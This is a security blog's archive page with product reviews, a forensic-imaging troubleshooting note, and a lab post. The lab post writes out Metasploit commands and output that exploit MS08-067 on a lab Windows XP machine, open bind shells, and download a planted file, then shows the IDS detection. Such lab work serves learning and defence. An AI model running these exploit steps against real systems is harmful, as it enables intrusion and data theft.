Tag Archives: technology

2019
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Guide, Info Security, Malware, Original, Review, Technology

How Free Web Filtering Software Can Protect You System?

Update

On August 1, 2016, Blue Coat, Inc. (K9’s parent company) was acquired by Symantec™. As can be imagined Blue Coat and Symantec had a handful of similar products and unfortunately, it didn’t make sense to maintain two competing products. it was decided to “end-of-life” K9 Web Protection.
Effective immediately, K9 Web Protection is no longer available for purchase or download. Technical Support for K9 will end on June 30, 2019.

It is unfortunate to see K9 Web Protection go. I am not aware of an alternative free software that provides the same level of protection at a premium quality. However, for those interested in alternatives to K9 Web Protection, I would recommend you can start with Quad9 and OpenDNS Home. While neither of them provides everything that K9 did, but they still protect your system against most common online threats.

“We may think one layer of security will protect us – for example, antivirus. Unfortunately for that approach, history has proven that, although single-focus solutions are useful in stopping specific attacks, the capabilities of advanced malware are so broad that such protections inevitably fail.” – Jerry Shenk, Layered Security: Why It Works.

Making use of layered security for personal use is of the utmost importance as I have covered a couple of times in the past: here, here, and here. Just as I have done in the past, I will use this post to share another tool that you can explore to support your personal layered security strategy.

My never-ending curiosity to explore and test new technologies can sometimes lead me to stumble upon genuinely impressive solutions. Fortunately for you, I believe this tool falls into that category.

K9 Web Protection is the software that I have been testing for some months now, and I must say, I’ve been truly pleased with its results. The software falls under the Web Filter category, which places a restriction on websites that you can visit. Web Filtering is used in two major cases. The first is to permit parents to control the sort of content accessible to their children, offering their kids a safe environment to learn and explore online. The second is for businesses who wish to prevent their employees from accessing websites that do not pertain to their jobs.

However, in addition to the above-mentioned, from my experience using this software on a daily basis, I have come across other benefits:

  • Real-time malware protection“helps identify and block illegal or undesirable content in real time, including malware-infected sites. You also benefit from the WebPulse cloud service, a growing community of more than 62 million users who provide more than six billion real-time Web content ratings per day.”
    • You can learn more about web filtering and intelligence here.
  • Automatic content ratings“New websites and web pages are created every minute, and no one person can possibly rate or categorize all of them. To ensure protection against new or previously unrated websites, Blue Coat’s patent-pending Dynamic Real-Time Rating™ (DRTR) technology automatically determines the category of an unrated web page, and allows or blocks it according to your specifications.”

Another advantage of the K9 Web Protection is that it is backed by Blue Coat (acquired by Symantec in 2016),  the leader in Web Security “with an impressive portfolio of integrated technologies serving as a trusted platform to deliver Cloud Generation Security to more than 15,000 customers worldwide.”

This solution is truly an “enterprise-class security software designed for home computers.” Also, did I mention that it’s free! “As part of the Blue Coat Community Outreach Program, K9 Web Protection is free for home use. You can also purchase a license to use K9 Web Protection for business, government, non-profit, or other use.”

I will do a quick overview of the installation and usage of the software, but you can find a well-documented quick start guide and user manual here:

Installation and Usage Overview:

installk9

  • The installation process should take a couple of minutes to complete as it is self-explanatory.
  • Upon completion, the application’s interface will open in your browser:

K9_Browser_admin_page

  • To view or modify any of the configurations, you will be prompted to enter the password you created during installation.
  • Here are some of the options and details you can access from the Setup page:

k9_block_categories.PNG

  • Web Categories to Block: choosing one of the available levels allows you to block selected categories of websites.
  • Time Restrictions: 3 options are available to block web access depending on the time of day. Unrestricted places no restrictions on web access. NightGuard blocks all web access during contiguous blocks of time every day. Custom enables you to choose days of the week and time periods to block all web access.
  • Web Site Exceptions: Allows you to create lists of websites to “always block” or “always allow.” Blocking Effects: “Bark When Blocked” plays a barking sound when a web page is blocked. Make sure the sound is enabled and not muted. Show Admin Options displays options on blocked web pages which enable administrators to view the blocked web page. Enable Time Out allows you to block all web access if too many web pages are blocked in a given period of time
  • URL Keywords: Allows you to enter keywords which, if found in a URL, cause a “block page” to display. Safe Search: “Redirect to K9 Safe Search” will redirect searches to various search engines through K9’s Safe Search. This provides a safer search experience than other search engines provide. Force Safe Search will prevent users from disabling Safe Search functionality provided by various websites.
  • Other Settings: “Update to Beta” enables you to get advance copies of new K9 Web Protection software undergoing development. Blue Coat distributes Beta versions so that K9 gets used in “real world” environments before being released as a final version. Please note that Beta versions might be incomplete and less stable than final versions. “Filter Secure Traffic” enables K9 to block secure websites (i.e. sites that use the HTTPS protocol).
  • Password/Email: Allows you to change your K9 administrator password or e-mail address.
  • K9 Update: Installs software updates if available.
  • View Activity Summary: This tab shows a summary of all “Web Activity” on your computer: To view more details, click the “Category” or “Requests” links. On these pages, you have the option of grouping the data by month or by day. To view Administrative Events details, click the “View All” link. (Some of these activities are as a result of automatic browser and toolbar updates, for example, and might display URL formats with which you are not familiar.) By selecting “Clear Logs”, all your activity data will be cleared; however, three days’ worth of administrative events will be retained.k9_activity_summary

As you can see from the above, the information provided here is extremely granular and it allows you to not only get an easy view of your browsing behavior but also the behaviors of the various system and application components. I have been using this solution in conjunction with other traditional protective mechanisms, such as anti-virus, and the benefits have been massive.

For instance, sometimes, while surfing the internet, I would see a certain URL get blocked or a visit history to a certain category in a website without a recollection of visiting that website. However, after investigations, I found that some components of a software installed on my computer or an extension in my browser is the reason behind that activity.

“The malware ecosystem has changed drastically in the past 10 years, to the point that the old precautions are just no longer enough” – Malwarebytes LABS. I have been using K9 Web Protection on many of my personal computers because I have been impressed with it, so I thought to share it here. I believe it provides that extra layer of protection that we can all appreciate in a world where cyber threats are on the rise. In addition, I believe this solution is a wonderful option for those that are less familiar with common cyber threat vectors (i.e. parents) and can easily fall for phishing emails or click on an adware as they browse the internet.

As we have known for some time, “there is no single solution for the information security problems we face today. A combination of many different kinds of security tools is required to protect you from modern threats…” and I believe K9 Web Protection is among the best tools we have today, so you should definitely equip yourself with it if you are going to create a safe web environment for yourself, your kids, your employees, and everyone around you!

 

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2014
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Digital Forensics, Response, Technology

Physical Drive Image With Plugable USB Hub

The other day I was trying to image a physical 250GB desktop hard drive using FTK Imager but I continued to get the following error under status: Failed: The specified network name is no longer available. This was the first time that I received this error so first I was not sure what caused it. Here was my setup:

The error was little random in that it would fail at different places – anywhere between 2% – 13%. My first thought was that the docking station was bad; so I took out my WiebeTech write-blocker and attempted to image the drive again. But I received the same error at 6%. At this point, I knew that the docking station was fine and that the problem had to be with either the FTK Imager software, Windows Server 2012 (my first time using Server 2012 during imagining) or the USB hub. I decided to start with the hub; I unplugged the docking station from the hub and connected it directly to the server’s USB port – skipping the hub completely. I started FTK Imager and began the imagining process – and to my surprise, the imaging completed without any errors!

From the 7 ports provided by the hub, only one port was being utilized (connected only to the docking station) eliminating the possibility of the overwhelmed hub. In fact, the hub worked fine when I copied large operating system .iso files from an external hard drive to the server. So, I am not sure where the problem is the hub but in this situation, I was unable to image a relatively small hard drive due to this hub.

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2014
2 Comments
Compromise, Detect, Info Security, Investigation, Response

Compromise, Detect, Respond – Project Kickoff – 001-01

I am sure that most of you have heard that in order for you to be good at any one specific security domain you need to have a solid understanding of the opposite domain as well. This is especially true between good and bad guys. You cannot be a great responder if you do not understand some of the basic techniques bad guys are using to break into your environment. Similarly, in order for you to successfully penetrate and maintain persistence in your target environment, you need to understand how forensicators track your movements.

Like many of you, I have heard this concept during many presentations and conferences. And like many of you, I have wondered how do I best accomplish this task myself. I, for one, aren’t an expert in any specific domain so in order for me to just catch up on the opposite domain – would actually require doing both sides – good and bad. And so with this exact idea in mind, I am kicking off – which I am hoping is going to be a series of posts that will encompass the complete cycle: compromise -> detect -> respond (CDR).

Now, like I said in the beginning, I do not specialize in any particular domain but what I am hoping out of this project is that I will gain not only just a better but a holistic understanding of the core domains that make up infosec. So with this in mind, here is my setup.

I have setup three different environments with the basic, free tools that will help me with each of the CDR stages:

Compromise – Metasploit, Armitage, Nessus, SET
Detect – EXE Radar Pro (trial), different A/Vs,  Snorby IDS (Thanks to dfinf2 for showing me the ropes on setting this up initially. I had to re-purpose this – but down the road, i plan to expand IDS capability.)
Respond – SIFT, Redline, Splunk

In addition to the above tools repository – each environment has a diverse group of vulnerable machines that will be used as targets.

The last thing I want to cover before the official kick-off is that during this whole process my goal will to be to go through all three of the CDR stages as quickly as possible with the least amount of effort. The idea behind this is that in the real world there isn’t a lot of time to get answers; typically you have a short period of time to get as much done as possible so that is what I plan on doing with these exercises. In addition, I will not be documenting each of the steps that I take. There are more than enough online guides that walk you through – for example how to use Metasploit against a specific target so there isn’t a point for me to just duplicate that work. In fact, during these exercises, I plan to use those same guides since I necessary don’t know how to use Metasploit myself :)

With that i think i have covered all the overview topics that i wanted to cover. But as environments, tools and other things change i will mention them in the future posts. And now it’s time to kick off our first CDR – and whats a better way to kick off than using XP as your target!

———————

case: 001-01

Target: WinXPProSP2 @ 10.0.0.15

Compromise
I started with basic nmap reconnaissances scan to see what i had open on the target machine.

Nmap scan report for 10.0.0.15
Host is up (0.00040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:91:68:A0
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

The nmap report above only shows three TCP ports open on our target system. But it does confirm the OS of the system and the network connectivity.  The next thing that I did was spend some time researching online for XP Metasploit exploits that I could use in this exercise. And in no-time i had few exploits that would give me remote access to the target system.

Here is the first one:

Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Version: 0
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great

And now the payload – nothing like the VNC Inject for the first exercise!

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp
payload => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > set rhot 10.0.0.15
rhot => 10.0.0.15
msf exploit(ms08_067_netapi) > check
msf exploit(ms08_067_netapi) > set RHOST 10.0.0.15
RHOST => 10.0.0.15
msf exploit(ms08_067_netapi) > check

[*] Verifying vulnerable status… (path: 0x0000005a)
[+] The target is vulnerable.
msf exploit(ms08_067_netapi) > exploit

And just like that we have Metasploit Shell (in blue) and we can remotely see the target system’s desktop (the black command prompt windows is on the target system)

MetasploitShell

MetasploitShell

Detection

At this point, we have successfully been able to compromise the target system (using probably one of the oldest exploit for XP – but we are just getting started!). But before we move forward – with little more of compromise let’s check what, if anything we have from the detection point of view after our first attack.

Here is what we see in the IDS so far:

detection_20140817-01

IDS VNC Detection

Now besides the fact that IDS triggered on our first exploit – I am even more happy to see that our IDS deployment is working overall!

Now let’s look at some of the alert details. The first alert seems to be indicating that a Metasploit reverse shell with an executable code was detected. The other three alerts are related with a critical known buffer overflow vulnerability that exists in unpatched versions of MS.

Based on the above information – we have the basic information to initiate the response stage. We know the malicious source IP as well as the IP of the impacted host in our environment. But before we move forward with the response – let’s just do a little bit more of compromise and see if we get successful in our second attempt or not.

Compromise 2

In the second Compromise stage, we are using the same exploit as the first Compromise (ms08_067_netapi), however, our payload is now different.

msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp

payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set rhost 10.0.0.15
rhost => 10.0.0.15
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.0.0.15
[*] Command shell session 2 opened (10.0.0.23:59317 -> 10.0.0.15:4444) at 2014-06-22 17:49:04 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

As you will notice from above that our payload successfully delivered on the target system and in return give us access to target system’s shell. Now to make this scenario more interesting, I created a text file on the Windows XP target machine and named it Important.txt in My Documents under the Administrator account. Now my goal will be to read the content of that file from my Metasploit system and possibly copy it out to my local hacking machine.

Accessing Important.txt File

Accessing Important.txt File

In the screenshot above we are able to change directory from C:\WINDOWS\system32 and go to My Documents of the Administrator account and view the content of the Important.txt file.

So with above, our first goal is completed – we have been able to read the content of the Important.txt file. Now the second goal was to copy out the file on our local Metasploit machine. For this, we established another session with our target windows machine and instead of a windows shell, this time we got a meterpreter session after our payload.

Download Important.txt From Target To Local System

Download Important.txt From Target To Local System

After the successful payload delivery, we ran the getpid command to see which process on the target machine we’re binding with (this will be handy in the Response step). After that, we changed directories to administrator user’s documents and downloaded the Important.txt successfully.

This concludes the Compromise 2 stage. At this time our target windows XP system is severely owned! – the IDS has triggered now the total of 12 alerts related to this event:

Total IDS Alerts

Total IDS Alerts

Now we will move towards the Response phase.

Response

We already know that our Windows XP machine is compromised so we will proceed with collecting the memory of the system. In addition, we will run some sysinternal tools to confirm the networking communication to the malicious IP and determine the process which was involved in this communication…

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2014
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Detect, Digital Forensics, Info Security, Technology

Support For Your Anti-Virus

A few months ago I published two blogs about having additional layers of security for your home computers. You can read them here: part 1 and part 2. The goal of those two blogs was to first bring awareness – using my personal experience around how we simply cannot rely on anti-virus software to protect our personal computers. And second to demonstrate how effective some free browser extensions are in reducing unwanted and potentially malicious programs from downloading in the background without much of our knowledge or interaction.

This blog is not exactly a continuation of the other two but it is definitely related. While in the previous posts I focused on free extensions, however in this post I want to talk about an application that is though not free but definitely worth looking into.

The EXE Radar Pro application from NoVirusThanks group (besides this particular software this group has a bunch of free and extremely useful online utilities that I have been using for sometime and you should check those out too!). As far as the EXE Radar Pro goes – it is for $19.99 with the option to try free for 30 days. They do a pretty straightforward job explaining what the software does so I won’t waste time repeating what is already there. Instead, I will briefly explain my experience with this software; both the pros and cons.

First the pros: the software is easy to install and seems to get to work immediately. There isn’t a lot of configuration or overly complicated interface that you need to worry about; it simply sits in your windows tray and all of the management is done by selecting the tray icon. Some of the more specific features that I like about this software is that I think this is the closest that you can get to an enterprise level endpoint monitoring software for such a low price. The software pretty much tracks all the running system processes, the associated parent process, and monitors as new processes start. You also have to the ability to tag processes to either a blacklist or a whitelist based on what you think should be allowed or blocked. The software does prompt you when it thinks a suspicious/unknown process is trying to run. I believe some of the basic checks that it does to determine a good from a bad process it by simply checking if the process itself is digitally signed and if the process is making any specific/unusual command arguments. In fact, it presents all this information on the prompt dialog:

EXE Radar Pro - Prompt Alert

 

From the dialog above you can simply choose to allow, block or use the drop-down arrow to add the process to either the white/blacklist.  While the above dialog box is well designed and self-explanatory – I also experienced some annoying cons with this dialog. For example, when you are prompted with the dialog box you do not have the option to ignore it. You can move it around the screen to get it out of the way but you have to make the decision to either allow/block. In addition, until you make your selection – you will not be able to execute another process. For example, when the above prompt came up on my screen and I wanted to take the screenshot using the Microsoft built-in snipping tool – I was not able to because the snipping application would not execute until I made my selection in the dialog box (I was able to do it using the keyboard print screen key).

The second major con that I experienced is that on each boot of the system there would a half-dozen prompts that I had to go through before the system would be fully up and functional. I understand that there is some learning that is involved in the beginning of the software but even after two weeks and several whitelisting, I would still receive numerous prompt during startup. And as you can imagine, when you are trying to get something done quickly – these prompt becoming irritating. In fact, one of the applications that EXE Radar Pro did not like in particular was Splunk. Well before I downloaded EXE Radar Pro – I had the Splunk Free installed on the computer to do basic log analysis. But when I installed EXE Radar Pro – I would constantly get prompts. Eventually, I became irritated and ended up uninstalling Splunk from the system. In fact, even during the uninstall process of Splunk, I had to hit Allow at least 8 times before the uninstall process completed.

Overall, EXE Radar Pro is a good software for personal use because it provides that additional layer of protection and control around what runs in your system. I would say that while the interface is simple and self-explanatory – an average user may not appreciate the frequency of the prompts, the technical details and the decision making that would be required. On the other hand, if you like to have such visibility and control of your system then for $19.99 you cannot go wrong with this software!

 

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